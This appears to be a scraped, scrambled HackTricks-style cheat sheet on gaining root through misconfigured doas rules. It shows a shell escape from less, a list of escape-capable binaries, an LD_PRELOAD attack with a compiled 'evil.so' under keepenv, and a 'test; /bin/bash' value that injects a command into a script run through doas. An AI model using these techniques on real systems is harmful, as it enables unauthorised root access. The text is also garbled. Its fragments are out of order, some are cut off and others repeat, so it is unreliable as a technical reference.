Doas | Hacktricks

permit user1 as root cmd /usr/bin/less doas less /etc/hosts # then type: !/bin/bash Known binaries for escapes: less , more , vi , vim , nano , awk , find , man , git , tmux , screen , ftp , irb , lua , perl , python , ruby , scp , tar . If keepenv is set, doas keeps LD_PRELOAD , LD_LIBRARY_PATH , PYTHONPATH , etc.

./script.sh "test; /bin/bash" permit persist user1 as root Once you run doas -n id with password once, subsequent commands don’t need a password for a few minutes. hacktricks doas

cat /etc/doas.conf permit|deny [options] identity as target cmd [args] Examples: permit user1 as root cmd /usr/bin/less doas less

permit keepenv user1 as root Compile a malicious lib: cat /etc/doas

gcc -shared -fPIC evil.c -o evil.so LD_PRELOAD=./evil.so doas -n id If doas is called with unsanitized user input in a script.

permit nopass user1 as root Check: